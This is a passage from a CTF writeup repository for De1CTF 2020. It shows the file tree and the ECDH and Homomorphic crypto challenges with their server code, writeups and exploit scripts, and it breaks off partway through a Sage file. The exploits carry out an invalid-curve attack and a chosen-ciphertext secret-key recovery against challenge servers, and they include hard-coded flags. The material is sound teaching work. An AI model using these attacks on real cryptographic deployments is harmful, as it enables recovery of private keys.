├── .gitignore ├── LISENCE.md ├── readme.md ├── wp_cn.pdf ├── wp_en.pdf └── writeup ├── crypto ├── .gitkeep ├── ECDH │ ├── WP.md │ └── source code │ │ ├── FLAG.py │ │ ├── data.txt │ │ ├── exp.py │ │ ├── genData.py │ │ └── task.py ├── Homomorphic │ ├── WP.md │ └── source code │ │ ├── FLAG.py │ │ ├── exp.py │ │ ├── gen.sage │ │ ├── getFlag.sage │ │ └── task.sage ├── Mini Purε Plus │ ├── WP.md │ └── source code │ │ ├── data.txt │ │ ├── exp.sage │ │ ├── flag.txt │ │ ├── pt_ct_download.txt │ │ └── task.py ├── OV │ ├── WP.md │ └── source code │ │ ├── FLAG.py │ │ ├── exp.py │ │ ├── exp.sage │ │ ├── ov.sage │ │ └── task.sage ├── easyRSA │ ├── WP.md │ └── source code │ │ ├── FLAG.py │ │ ├── data.txt │ │ ├── exp.sage │ │ └── task.py └── mc_noisemap │ ├── exp.js │ ├── package.json │ ├── readme.md │ └── www │ ├── assets │ ├── jquery.min.js │ ├── noisemap.js │ ├── p5.dom.js │ └── p5.js │ └── map.html ├── misc ├── .gitkeep ├── Easy Protocol │ ├── wp_en.md │ └── wp_zh.md ├── life │ ├── README.md │ ├── README_cn.md │ └── attachment │ │ └── game.jpg ├── mc_champion │ ├── exp.go │ ├── readme.md │ └── types.go ├── mc_easybgm │ ├── mp3.py │ └── readme.md ├── mc_joinin │ ├── exp.go │ ├── image │ │ ├── 1.png │ │ └── 2.png │ ├── readme.md │ └── types.go └── misc_chowder │ ├── README.md │ ├── README_cn.md │ └── attachment │ └── Misc_Chowder.pcap ├── pwn ├── .gitkeep ├── BroadCastTest │ ├── BroadcastTest.apk │ ├── README.md │ ├── README_zh.md │ └── docker.zip ├── code_runner │ ├── README.md │ └── docker.zip ├── mc_realworld │ ├── exp.py │ ├── readme.md │ └── requirements.txt ├── pppd │ ├── README.md │ ├── README_zh.md │ ├── attachment.zip │ └── docker.zip └── stl_container │ ├── README.md │ ├── README_zh.md │ ├── attachment.zip │ └── docker.zip ├── re ├── .gitkeep ├── FLw │ ├── Q.exe │ ├── QueueVirtualMachine.cpp │ ├── solver.py │ ├── writeup_en.md │ └── writeup_zh.md ├── little_elves │ ├── genasm.py │ ├── little_elves.asm │ ├── little_elves_3754be6bd7d580d5cd5e85074461d2e5e25fcbc4c8dd4afaa06b66d92b9527e2 │ ├── sage_solve.py │ ├── writeup_en.md │ └── writeup_zh.md ├── mc_ticktock │ ├── crypt.go │ ├── exp.go │ ├── readme.md │ └── types.go └── parser │ ├── flag.txt │ ├── parser │ ├── solver.py │ ├── source │ ├── CMakeLists.txt │ ├── aes.cpp │ ├── aes.h │ ├── crypto.cpp │ ├── crypto.h │ ├── des.cpp │ ├── des.h │ ├── lexer.cpp │ ├── lexer.h │ ├── main.cpp │ ├── parser.cpp │ ├── parser.h │ ├── rc4.cpp │ ├── rc4.h │ └── token.h │ ├── writeup_en.md │ └── writeup_zh.md └── web ├── .gitkeep ├── Animal Crossing ├── README.md ├── README_zh.md └── docker.zip ├── Easy PHP-UAF ├── README.md ├── README_zh.md └── source │ ├── docker-compose.yml │ ├── evalfilter.so │ ├── flag │ ├── libphp7.so │ ├── mpm_prefork.conf │ ├── php.ini │ ├── readflag │ ├── restart.sh │ └── www │ └── index.php ├── Hard_Pentest ├── wp_en.md └── wp_zh.md ├── calc └── readme.md ├── check in └── readme.md ├── mc_logclient ├── exp.go ├── readme.md └── types.go └── mixtrue ├── docker.zip ├── readme.md └── readme_zh.md /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | **/.DS_Store 3 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # ctftime 2 | https://ctftime.org/event/1033 3 | 4 | # xctftime 5 | https://de1ctf2020.xctf.org.cn 6 | 7 | # telegram 8 | https://t.me/De1CTF 9 | -------------------------------------------------------------------------------- /wp_cn.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/wp_cn.pdf -------------------------------------------------------------------------------- /wp_en.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/wp_en.pdf -------------------------------------------------------------------------------- /writeup/crypto/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/crypto/.gitkeep -------------------------------------------------------------------------------- /writeup/crypto/ECDH/WP.md: -------------------------------------------------------------------------------- 1 | ## ECDH 2 | 3 | In this task we can see a [ECDH]([https://en.wikipedia.org/wiki/Elliptic-curve_Diffie%E2%80%93Hellman](https://en.wikipedia.org/wiki/Elliptic-curve_Diffie–Hellman)) system. We can exchange keys and encrypt message to get result. So we can get the exchanged keys by encrypting our message. Also there is a backdoor, if you give server the secret, the server will give you flag. 4 | 5 | But the task doesn't check whether the given point is on curve. So we can us [Invalid curve attack](https://web-in-security.blogspot.com/2015/09/practical-invalid-curve-attacks.html) to get secret. 6 | 7 | We can construct points not on the given curve with low order by using open source software such as [ecgen](https://github.com/J08nY/ecgen) or [Invalid curve attack algorithm](https://crypto.stackexchange.com/questions/71065/invalid-curve-attack-finding-low-order-points) and use CRT to get secret. Then we can use the generated data to attack the task and get flag. 8 | 9 | 10 | 11 | PS: use *genData.py* to generated *data.txt* locally and use $exp.py$ to attack this chanllenge. 12 | 13 | 14 | 15 | Reference: 16 | 17 | [https://en.wikipedia.org/wiki/Elliptic-curve_Diffie%E2%80%93Hellman](https://en.wikipedia.org/wiki/Elliptic-curve_Diffie–Hellman) 18 | 19 | https://crypto.stackexchange.com/questions/71065/invalid-curve-attack-finding-low-order-points 20 | 21 | https://web-in-security.blogspot.com/2015/09/practical-invalid-curve-attacks.html 22 | 23 | https://www.iacr.org/archive/pkc2003/25670211/25670211.pdf 24 | 25 | https://github.com/J08nY/ecgen 26 | 27 | -------------------------------------------------------------------------------- /writeup/crypto/ECDH/source code/FLAG.py: -------------------------------------------------------------------------------- 1 | flag = "De1CTF{c47b5984-1a7c-49f5-a2e3-525d83b50ecf}" -------------------------------------------------------------------------------- /writeup/crypto/ECDH/source code/data.txt: -------------------------------------------------------------------------------- 1 | (71266538187504837881773455680815469644765409975672637516787766556930561611301,0,2) 2 | (63544854342633876185175745872935162392653014254087655477842287908969853208379,25211152143759550358051039560879556426840861084906597236587478370814318142689,79) 3 | (39074159514151924871919677510343475482086102957517742818729611408184999012147,26720690541939783004972245353228047769108495035961282702642707346226998373770,7) 4 | (11316240487569546955851052334134041630678458886180684151492683339272898514068,78023993435270320661683902080154342711833298954028575015228013245393094322070,11) 5 | (15119660866250484833218887142087494831304689540127120449449220034035236860049,2376925279748528274947624896157870319253832883138266857336324448538332297166,3) 6 | (94525894183759378399897291865623908183109260367348596819715204602814652872188,98146324814965525894657836826759031897124666391881739251244828385812047296732,103) 7 | (71542878910444144563133938181758613865556501352680171885447332315209641548443,11027393021237606209190382171644836431385653252385565913889845935383490333329,109) 8 | (72537061420986231582551128555481918609119766808544834918899517864782710892312,20696171791782605323775889259158055595238004520282744518045273921426855660637,13) 9 | (47304642731864455908474497502473408878259250785553242096599987792205036341027,87308389407233901101549966870575420834199714028952830446928260046757865912168,257) 10 | (79151409705934444003617664415587039019530774265169446386054045277531197164553,56943392024936391426055303815722530810298197794474300336696548379705712989353,17) 11 | (27974558924748513964984514704922794569344622176795136199100146266613594187049,908708025345488077175177694517792221515926952875067739491534252912562391432,37) 12 | (56147374066529610291569208341319827491119706874642354858249151428621661571175,71595413582617942649893868679102683085536043623308842571140258759280510013059,29) 13 | (19169369616009340152136389232192714034708633236740175777189904617321950220752,15774258328330553061950251816704811705870311571804357174455218127466956823951,163) 14 | (88358254999358059150725742309502474428714371710877059313874367781209424800290,98776402767859818847910440674004147395370563105750671533968917708477580004396,31) 15 | (78213793803302104958041912553857219308039645955755093117036977945261894195594,53593153560656561457484157211470811770417393442020089979070630102002938667354,283) 16 | (38734450667084394738462582371861379830145244076002729605374008454745964565611,63485496731986875077615232477661409089307474718786950845837841465287054121282,101) 17 | (27289051380232292058922681987872691081637273011784641353908828194889808935562,42582277169682659856648436177035993196476747798846006844257213457625676624395,167) 18 | (60611302958867724114355198674174717903030611701834814355517307263156018683968,80228679959220836299321634502800120505758290036535800161226176222697615592590,113) 19 | (42999112418317070460537876159806783061901565294041165537030209524922793544651,6589675282175324952159304964235642413401542647009102633630922664624612160023,389) 20 | (95088333534242049083178643131160529877745643124240754413590925966964433087505,33627456165113486076807767192314925551610970800499077336139255019779282368591,19) 21 | (68546113866396057414447123017012194382606660847915577729275345914093029304242,70419164698961872119061589487906973104091560133782463206465161133047521971443,191) 22 | (27658666868559009345169979046408679219652571251294877631239458945675460030987,10566047007087521083032999605166355442006632701756355797042510958661252411316,59) 23 | (97791103762657888754061084078726354799824725140990172327230661597230673123371,16504791603637887460174126385593020253296907768663442245056964794893045586226,41) 24 | (29462131417760293883241031899737796889476699363752969782829725677711424156956,63922604090735184593402327889586633097884592153552845587430972300143736597235,229) 25 | (59518744510738244919242575120413207566041465142486954779939682836254633495334,36370447903496661593495846801049351445979644729957225541992067030241921326989,83) 26 | (71559667679756438651907704515988975571987101144398350207650497412273972654234,86460725179328194121500159495991910027001943388819072757521202494426857447992,139) 27 | (8276777138098948264250367951358893433077255043810021832303765956068990019918,21493101873475820477351003385226667818948524293634907974065139715033091873953,67) 28 | (99646282990238318121411535477326567222451429047755863849173115204157188367252,13856350931498138704173192500236739010171888687913973649417200621415301190801,223) 29 | (99200653260380315062615458316422718190015009377389164617114551893246055846330,24732412235645911804135558052034498332731036020339317949128753094841781179561,293) 30 | (54385730337878283819484662502993930222342589950105876324397884533620601032067,76187563994640764287333263613185342618066590335116060273561803306292561276461,337) 31 | (59573072194110441834827393620749908153317793693341323540466151739336840212550,79896030998147669455256140817574064186778730574388846094095562107722554674975,379) 32 | (65382184883290322115183621956191898992701063163640764735747748870010248970224,24566743128527576256218787588144185966549647594984478211103421247577960491493,97) 33 | (34164185887960510886738154717621832309414615002366634259826633699899005004570,40899104011837526579958186878483575308382100722167422873473811552834253217848,53) 34 | (14482222877390806438132778307329225615653546596489720888601185263670492554606,42640381609303674014628847015715807894719544264845108830634119471968526558992,107) 35 | (86632337120555853680954386001067378408696101981730571645332845102160946239542,80319873816327548719950293019924602862406956568382638752380373353970178220705,71) 36 | (56385035954677530575227623487496897873630953681741004420708613379571020296169,94417819469185033903828838374312068313620311361733468280216550239999870059150,251) 37 | (79989175653331352759169583648378818421332783482871480057829784426252195711969,46112677739636866755196923954389797769587170872924185719225315947460373844953,173) 38 | (16463194846610475279183582023630628118547318266305611939827643943011882739280,45927091047433063627784066171642050011555559751139827242712304465484106544356,157) 39 | (60241351244747764943511372028802709995239769648018198083364699886740618466484,788251091386251518521427852478965170086380395248428356804980001174812619509,241) 40 | (38144503585016014449856762114171324334150024579422133690928474990383110800502,54256305770129147371697622154398924166359019795299158585603937600880347063106,61) 41 | (67574855009866692370513141444555903036396978490672337033261638864296042578367,66423110656191553186056403911592948264387776510135345407927159726899849347227,137) 42 | -------------------------------------------------------------------------------- /writeup/crypto/ECDH/source code/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from gmpy2 import invert, gcd 3 | from Crypto.Util.number import bytes_to_long 4 | #context.log_level = 'debug' 5 | 6 | q = 0xdd7860f2c4afe6d96059766ddd2b52f7bb1ab0fce779a36f723d50339ab25bbd 7 | a = 0x4cee8d95bb3f64db7d53b078ba3a904557425e2a6d91c5dfbf4c564a3f3619fa 8 | b = 0x56cbc73d8d2ad00e22f12b930d1d685136357d692fa705dae25c66bee23157b8 9 | zero = (0,0) 10 | msg = '\xff' * 64 11 | msg_bit = [int(i) for i in list('{0:0b}'.format(bytes_to_long(msg)))] 12 | 13 | 14 | def add(p1,p2): 15 | if p1 == zero: 16 | return p2 17 | if p2 == zero: 18 | return p1 19 | (p1x,p1y),(p2x,p2y) = p1,p2 20 | if p1x == p2x and (p1y != p2y or p1y == 0): 21 | return zero 22 | if p1x == p2x: 23 | tmp = (3 * p1x * p1x + a) * invert(2 * p1y , q) % q 24 | else: 25 | tmp = (p2y - p1y) * invert(p2x - p1x , q) % q 26 | x = (tmp * tmp - p1x - p2x) % q 27 | y = (tmp * (p1x - x) - p1y) % q 28 | return (int(x),int(y)) 29 | 30 | def mul(n,p): 31 | r = zero 32 | tmp = p 33 | while 0 < n: 34 | if n & 1 == 1: 35 | r = add(r,tmp) 36 | n, tmp = n >> 1, add(tmp,tmp) 37 | return r 38 | 39 | def GCRT(mi, ai): 40 | assert (isinstance(mi, list) and isinstance(ai, list)) 41 | curm, cura = mi[0], ai[0] 42 | for (m, a) in zip(mi[1:], ai[1:]): 43 | d = gcd(curm, m) 44 | c = a - cura 45 | assert (c % d == 0) 46 | K = c // d * invert(curm // d, m // d) 47 | cura += curm * K 48 | curm = curm * m // d 49 | cura %= curm 50 | return (cura % curm, curm) 51 | 52 | def solve_PoW(suffix, h): 53 | print "solving PoW......" 54 | charset = string.letters + string.digits 55 | for p1 in charset: 56 | for p2 in charset: 57 | for p3 in charset: 58 | for p4 in charset: 59 | plaintext = p1 + p2+ p3+ p4 + suffix 60 | m = hashlib.sha256() 61 | m.update(plaintext) 62 | if m.hexdigest() == h: 63 | print "PoW solution has been found!" 64 | return p1+p2+p3+p4 65 | 66 | r = remote("134.175.225.42",8848) 67 | data = r.recvuntil("Give me XXXX:") 68 | suffix = re.findall(r"XXXX\+([^\)]+)",data)[0] 69 | h = re.findall(r"== ([0-9a-f]+)",data)[0] 70 | p = solve_PoW(suffix, h) 71 | r.send(p) 72 | 73 | def pad(m): 74 | pad_length = q.bit_length()*2 - len(m) 75 | for _ in range(pad_length): 76 | m.insert(0,0) 77 | return m 78 | 79 | def setKeys(P): 80 | r.recvuntil('Give me your key:\n') 81 | r.recvuntil('X:') 82 | r.sendline(str(P[0])) 83 | r.recvuntil('Y:') 84 | r.sendline(str(P[1])) 85 | r.recvuntil('Exchange success\n') 86 | 87 | def encrypt(m): 88 | r.recvuntil('Give me your message(hex):\n') 89 | r.sendline(m.encode('hex')) 90 | r.recvuntil('The result is:\n') 91 | result = r.recvuntil('\n',drop=True) 92 | return result.decode('hex') 93 | 94 | def getPoint(m): 95 | data = pad([int(i) for i in list('{0:0b}'.format(bytes_to_long(m)))]) 96 | data = [data[i] ^ msg_bit[i] for i in range(len(data))] 97 | x_bit = data[:-q.bit_length()] 98 | x = 0 99 | for bit in x_bit: 100 | x = (x << 1) | bit 101 | y_bit = data[-q.bit_length():] 102 | y = 0 103 | for bit in y_bit: 104 | y = (y << 1) | bit 105 | return (x,y) 106 | 107 | def sendData(P): 108 | r.recvuntil('choice:') 109 | r.sendline('Exchange') 110 | setKeys(P) 111 | r.recvuntil('choice:') 112 | r.sendline('Encrypt') 113 | result = encrypt(msg) 114 | return getPoint(result) 115 | 116 | def getflag(secret): 117 | r.recvuntil('choice:') 118 | r.sendline('Backdoor') 119 | r.recvuntil('Give me the secret:\n') 120 | r.sendline(str(secret)) 121 | r.recvuntil('flag:\n') 122 | flag = r.recvuntil('}') 123 | return flag 124 | 125 | Px = 0xb55c08d92cd878a3ad444a3627a52764f5a402f4a86ef700271cb17edfa739ca 126 | Py = 0x49ee01169c130f25853b66b1b97437fb28cfc8ba38b9f497c78f4a09c17a7ab2 127 | P = (Px,Py) 128 | setKeys(P) 129 | 130 | data = [] 131 | with open('data.txt','r') as f: 132 | d = f.readlines() 133 | for i in d: 134 | tmp = i[1:-2].split(',') 135 | res = [int(x) for x in tmp] 136 | data.append(res) 137 | 138 | orders = [] 139 | CRT = [] 140 | for i in data: 141 | P = (i[0],i[1]) 142 | order = i[2] 143 | orders.append(order) 144 | res = sendData(P) 145 | for o in range(0,order): 146 | Q = mul(o,P) 147 | if res[0] == Q[0] and res[1] == Q[1]: 148 | CRT.append(o) 149 | break 150 | 151 | secret = int(GCRT(orders,CRT)[0]) 152 | flag = getflag(secret) 153 | print('[+]Get flag: ' + flag) 154 | r.close() 155 | -------------------------------------------------------------------------------- /writeup/crypto/ECDH/source code/genData.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | #context.log_level = 'debug' 3 | q = 0xdd7860f2c4afe6d96059766ddd2b52f7bb1ab0fce779a36f723d50339ab25bbd 4 | a = 0x4cee8d95bb3f64db7d53b078ba3a904557425e2a6d91c5dfbf4c564a3f3619fa 5 | b = 0x56cbc73d8d2ad00e22f12b930d1d685136357d692fa705dae25c66bee23157b8 6 | Px = 0xb55c08d92cd878a3ad444a3627a52764f5a402f4a86ef700271cb17edfa739ca 7 | Py = 0x49ee01169c130f25853b66b1b97437fb28cfc8ba38b9f497c78f4a09c17a7ab2 8 | 9 | r = process(['/home/anemone/ecgen/ecgen','--fp','-i','256']) 10 | 11 | def getData(): 12 | r.recvuntil('points') 13 | r.recvuntil('\"x\": \"0x') 14 | x = int(r.recvuntil('\"',drop = True),16) 15 | r.recvuntil('\"y\": \"0x') 16 | y = int(r.recvuntil('\"',drop = True),16) 17 | r.recvuntil('\"order\": \"0x') 18 | order = int(r.recvuntil('\"',drop = True),16) 19 | return x,y,order 20 | 21 | r.recvuntil('p:') 22 | r.sendline(str(q)) 23 | r.recvuntil('a:') 24 | r.sendline(str(a)) 25 | r.recvuntil('b:') 26 | r.sendline(str(b)) 27 | 28 | orders = [] 29 | count = 0 30 | mul = 1 31 | with open('data.txt','w') as f: 32 | while True: 33 | x,y,order = getData() 34 | if order not in orders: 35 | orders.append(order) 36 | count += 1 37 | mul *= order 38 | data = '('+str(x)+','+str(y)+','+str(order)+')\n' 39 | print('[+]Round: '+str(count)) 40 | print(data) 41 | f.write(data) 42 | else: 43 | continue 44 | if mul > q: 45 | break 46 | r.close() -------------------------------------------------------------------------------- /writeup/crypto/ECDH/source code/task.py: -------------------------------------------------------------------------------- 1 | import os,random,sys,string 2 | from hashlib import sha256 3 | import SocketServer 4 | import signal 5 | from FLAG import flag 6 | from gmpy2 import invert 7 | from Crypto.Util.number import bytes_to_long, long_to_bytes 8 | 9 | q = 0xdd7860f2c4afe6d96059766ddd2b52f7bb1ab0fce779a36f723d50339ab25bbd 10 | a = 0x4cee8d95bb3f64db7d53b078ba3a904557425e2a6d91c5dfbf4c564a3f3619fa 11 | b = 0x56cbc73d8d2ad00e22f12b930d1d685136357d692fa705dae25c66bee23157b8 12 | zero = (0,0) 13 | 14 | def add(p1,p2): 15 | if p1 == zero: 16 | return p2 17 | if p2 == zero: 18 | return p1 19 | (p1x,p1y),(p2x,p2y) = p1,p2 20 | if p1x == p2x and (p1y != p2y or p1y == 0): 21 | return zero 22 | if p1x == p2x: 23 | tmp = (3 * p1x * p1x + a) * invert(2 * p1y , q) % q 24 | else: 25 | tmp = (p2y - p1y) * invert(p2x - p1x , q) % q 26 | x = (tmp * tmp - p1x - p2x) % q 27 | y = (tmp * (p1x - x) - p1y) % q 28 | return (int(x),int(y)) 29 | 30 | 31 | def mul(n,p): 32 | r = zero 33 | tmp = p 34 | while 0 < n: 35 | if n & 1 == 1: 36 | r = add(r,tmp) 37 | n, tmp = n >> 1, add(tmp,tmp) 38 | return r 39 | 40 | def pointToString(p): 41 | return "(" + str(p[0]) + "," + str(p[1]) + ")" 42 | 43 | Px = 0xb55c08d92cd878a3ad444a3627a52764f5a402f4a86ef700271cb17edfa739ca 44 | Py = 0x49ee01169c130f25853b66b1b97437fb28cfc8ba38b9f497c78f4a09c17a7ab2 45 | P = (Px,Py) 46 | 47 | class Task(SocketServer.BaseRequestHandler): 48 | def proof_of_work(self): 49 | random.seed(os.urandom(8)) 50 | proof = "".join([random.choice(string.ascii_letters+string.digits) for _ in range(20)]) 51 | digest = sha256(proof).hexdigest() 52 | self.request.send("sha256(XXXX+%s) == %s\n" % (proof[4:],digest)) 53 | self.request.send("Give me XXXX:") 54 | x = self.request.recv(10) 55 | x = x.strip() 56 | if len(x) != 4 or sha256(x+proof[4:]).hexdigest() != digest: 57 | return False 58 | return True 59 | 60 | def recvall(self, sz): 61 | try: 62 | r = sz 63 | res = "" 64 | while r > 0: 65 | res += self.request.recv(r) 66 | if res.endswith("\n"): 67 | r = 0 68 | else: 69 | r = sz - len(res) 70 | res = res.strip() 71 | except: 72 | res = "" 73 | return res.strip("\n") 74 | 75 | def dosend(self, msg): 76 | try: 77 | self.request.sendall(msg) 78 | except: 79 | pass 80 | 81 | 82 | def handle(self): 83 | try: 84 | if not self.proof_of_work(): 85 | return 86 | signal.alarm(300) 87 | self.secret = random.randint(0,q) 88 | Q = mul(self.secret,P) 89 | 90 | self.dosend("Welcome to the ECDH System.\n") 91 | self.dosend("The params are: \n") 92 | self.dosend("q: " + str(q) + "\n") 93 | self.dosend("a: " + str(a) + "\n") 94 | self.dosend("b: " + str(b) + "\n") 95 | self.dosend("P: " + pointToString(P) + "\n") 96 | self.dosend("Q: " + pointToString(Q) + "\n") 97 | self.exchange() 98 | for _ in range(90): 99 | self.dosend("Tell me your choice:\n") 100 | choice = self.recvall(9) 101 | if choice == "Exchange": 102 | self.exchange() 103 | elif choice == "Encrypt": 104 | self.encrypt() 105 | elif choice == "Backdoor": 106 | self.backdoor() 107 | else: 108 | self.dosend("No such choice!\n") 109 | self.dosend("Bye bye~\n") 110 | self.request.close() 111 | except: 112 | self.dosend("Something error!\n") 113 | self.request.close() 114 | 115 | def pad(self,m): 116 | pad_length = q.bit_length()*2 - len(m) 117 | for _ in range(pad_length): 118 | m.insert(0,0) 119 | return m 120 | 121 | def encrypt(self): 122 | self.dosend("Give me your message(hex):\n") 123 | msg = self.recvall(150) 124 | data = [int(i) for i in list('{0:0b}'.format(bytes_to_long(msg.decode("hex"))))] 125 | enc = [data[i] ^ self.key[i%len(self.key)] for i in range(len(data))] 126 | result = 0 127 | for bit in enc: 128 | result = (result << 1) | bit 129 | result = long_to_bytes(result).encode("hex") 130 | self.dosend("The result is:\n") 131 | self.dosend(result + "\n") 132 | 133 | def pointToKeys(self,p): 134 | x = p[0] 135 | y = p[1] 136 | tmp = x << q.bit_length() | y 137 | res = self.pad([int(i) for i in list('{0:0b}'.format(tmp))]) 138 | return res 139 | 140 | def exchange(self): 141 | self.dosend("Give me your key:\n") 142 | self.dosend("X:\n") 143 | x = int(self.recvall(80)) 144 | self.dosend("Y:\n") 145 | y = int(self.recvall(80)) 146 | key = (x,y) 147 | result = mul(self.secret,key) 148 | self.key = self.pointToKeys(result) 149 | self.dosend("Exchange success\n") 150 | 151 | def backdoor(self): 152 | self.dosend("Give me the secret:\n") 153 | s = self.recvall(80) 154 | if int(s) == self.secret: 155 | self.dosend('Wow! How smart you are! Here is your flag:\n') 156 | self.dosend(flag) 157 | else: 158 | self.dosend('Sorry you are wrong!\n') 159 | exit(0) 160 | 161 | class ForkedServer(SocketServer.ForkingTCPServer, SocketServer.TCPServer): 162 | pass 163 | 164 | 165 | if __name__ == "__main__": 166 | HOST, PORT = "0.0.0.0", 8848 167 | server = ForkedServer((HOST, PORT), Task) 168 | server.allow_reuse_address = True 169 | server.serve_forever() -------------------------------------------------------------------------------- /writeup/crypto/Homomorphic/WP.md: -------------------------------------------------------------------------------- 1 | ## Homomorphic 2 | 3 | This is a homomorphic encryption crypto system. We can use CCA to leak secret key and attack it. 4 | 5 | Here is the solution: 6 | 7 | 1. Let : $M = \delta/4 + 20$ , where 20 is a number large enough to cover up the noise. 8 | 9 | 2. Let: $t_1 = Mx^i,t2 = M$ 10 | 11 | 3. Let ciphertext: $c_0 = pk[0] + t_1,c1 = pk[1]+t_2$ 12 | 13 | 4. Send $c = (c0,c1)$ to server 14 | 15 | 5. The server will do this: $c_0+c_1s = pk[0]+t_1+(pk[1]+t_2)s = -(as+e)+t_1+(a+t_2)s=e+t_1+t_2s$ 16 | 17 | so the decryption result is all 0 except for the i-th bit, and the i-th bit is equal to the i-th bit of secret key $s$ 18 | 19 | 6. Append the i-th bit of secret key $s$ to result array and back to step 1 until recover all the bits of secret key $s$ 20 | 21 | 7. Use the secret key to decrypt flag 22 | 23 | 24 | 25 | Also because the task has a decrypt function with bad check function. We can use many other ways to decrypt flag too. Such as add a $q$ to the items of input $c0$ and $c1$, add other small numbers or etc. 26 | 27 | 28 | 29 | Reference: 30 | 31 | https://arxiv.org/pdf/1906.07127.pdf 32 | 33 | https://www.slideshare.net/ssuserbd9135/danger-of-using-fully-homomorphic-encryption-a-look-at-microsoft-seal-cansecwest2019 34 | 35 | https://github.com/edwardz246003/danger-of-using-homomorphic-encryption 36 | 37 | -------------------------------------------------------------------------------- /writeup/crypto/Homomorphic/source code/FLAG.py: -------------------------------------------------------------------------------- 1 | flag = "De1CTF{4efb3bfe-0d5f-4fe5-9746-51dca96f3024}" -------------------------------------------------------------------------------- /writeup/crypto/Homomorphic/source code/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import hashlib 3 | import string 4 | #context.log_level = 'debug' 5 | d = 1024 6 | 7 | r = remote("106.52.180.168",8848) 8 | 9 | def solve_PoW(suffix, h): 10 | print "solving PoW......" 11 | charset = string.letters + string.digits 12 | for p1 in charset: 13 | for p2 in charset: 14 | for p3 in charset: 15 | for p4 in charset: 16 | plaintext = p1 + p2+ p3+ p4 + suffix 17 | m = hashlib.sha256() 18 | m.update(plaintext) 19 | if m.hexdigest() == h: 20 | print "PoW solution has been found!" 21 | return p1+p2+p3+p4 22 | 23 | def decrypt(c0,c1,index): 24 | print "[+]Round " + str(index) 25 | r.recvuntil("Tell me your choice:\n") 26 | r.sendline("Decrypt") 27 | r.recvuntil("Please input c0(Separated by commas):\n") 28 | r.sendline(c0) 29 | r.recvuntil("Please input c1(Separated by commas):\n") 30 | r.sendline(c1) 31 | r.recvuntil("The index:\n") 32 | r.sendline(str(index)) 33 | r.recvuntil("The result is: \n") 34 | result = r.recvuntil("\n") 35 | print "[+]Result: " + str(result) 36 | return result 37 | 38 | data = r.recvuntil("Give me XXXX:") 39 | suffix = re.findall(r"XXXX\+([^\)]+)",data)[0] 40 | h = re.findall(r"== ([0-9a-f]+)",data)[0] 41 | p = solve_PoW(suffix, h) 42 | r.send(p) 43 | 44 | r.recvuntil("The public keys are: \n") 45 | 46 | r.recvuntil("pk0: ") 47 | pk0 = r.recvuntil("\n",drop = True) 48 | pk0 = [int(i) for i in pk0.strip("[]").split(",")] 49 | 50 | r.recvuntil("pk1: ") 51 | pk1 = r.recvuntil("\n",drop = True) 52 | pk1 = [int(i) for i in pk1.strip("[]").split(",")] 53 | 54 | r.recvuntil("The enc flag is: \n") 55 | with open("FLAG.txt","w") as f: 56 | FLAG = [] 57 | for i in range(44): 58 | c1 = r.recvuntil("\n",drop = True) 59 | c1 = [int(i) for i in c1.strip("[]").split(",")] 60 | 61 | for j in c1: 62 | f.write(str(j)+"\n") 63 | 64 | c2 = r.recvuntil("\n",drop = True) 65 | c2 = [int(i) for i in c2.strip("[]").split(",")] 66 | 67 | for j in c2: 68 | f.write(str(j)+"\n") 69 | 70 | FLAG.append((c1,c2)) 71 | 72 | with open("pk0.txt","w") as f: 73 | for i in pk0: 74 | f.write(str(i)+"\n") 75 | 76 | with open("pk1.txt","w") as f: 77 | for i in pk1: 78 | f.write(str(i)+"\n") 79 | 80 | Sage = process(["sage", "gen.sage"]) 81 | Sage.recvline().strip() 82 | Sage.close() 83 | 84 | s = [] 85 | for i in range(d): 86 | c0 = "" 87 | with open(str(i) + "-c0.txt","r") as f: 88 | for j in range(d): 89 | c0 += f.readline().strip("\n") + "," 90 | c0 = c0[:-1] 91 | 92 | c1 = "" 93 | with open(str(i) + "-c1.txt","r") as f: 94 | for j in range(d): 95 | c1 += f.readline().strip("\n") + "," 96 | c1 = c1[:-1] 97 | 98 | s.append(int(decrypt(c0,c1,i))) 99 | 100 | with open("pri.txt","w") as f: 101 | for i in s: 102 | f.write(str(i)+"\n") 103 | r.close() 104 | 105 | Sage = process(["sage", "getFlag.sage"]) 106 | flag = Sage.recvline().strip() 107 | Sage.close() 108 | 109 | print("[+]Get flag: " + flag) -------------------------------------------------------------------------------- /writeup/crypto/Homomorphic/source code/gen.sage: -------------------------------------------------------------------------------- 1 | q = 2^54 2 | t = 2^8 3 | d = 2^10 4 | 5 | delta = int(q/t) 6 | M = delta//4+50 7 | 8 | PR. = PolynomialRing(ZZ) 9 | fx = x^d + 1 10 | Q. = PR.quotient(fx) 11 | 12 | pk0 = [] 13 | with open("pk0.txt","r") as f: 14 | for i in range(d): 15 | data = f.readline().strip("\n") 16 | pk0.append(data) 17 | pk0 = Q([i for i in pk0]) 18 | 19 | pk1 = [] 20 | with open("pk1.txt","r") as f: 21 | for i in range(d): 22 | data = f.readline().strip("\n") 23 | pk1.append(data) 24 | pk1 = Q([i for i in pk1]) 25 | 26 | for i in range(d): 27 | t1 = [0 for _ in range(d)] 28 | t1[i] = M 29 | t2 = M 30 | c0 = (pk0 + Q(t1)).list() 31 | c1 = (pk1 + Q(t2)).list() 32 | 33 | with open(str(i) + "-c0.txt","w") as f: 34 | for j in c0: 35 | f.write(str(j)+"\n") 36 | 37 | with open(str(i) + "-c1.txt","w") as f: 38 | for j in c1: 39 | f.write(str(j)+"\n") 40 | print "Done" -------------------------------------------------------------------------------- /writeup/crypto/Homomorphic/source code/getFlag.sage: -------------------------------------------------------------------------------- 1 | q = 2^54 2 | t = 2^8 3 | d = 2^10 4 | 5 | delta = int(q/t) 6 | M = delta//4+50 7 | 8 | PR. = PolynomialRing(ZZ) 9 | fx = x^d + 1 10 | Q. = PR.quotient(fx) 11 | 12 | pri = [] 13 | with open("pri.txt","r") as f: 14 | for i in 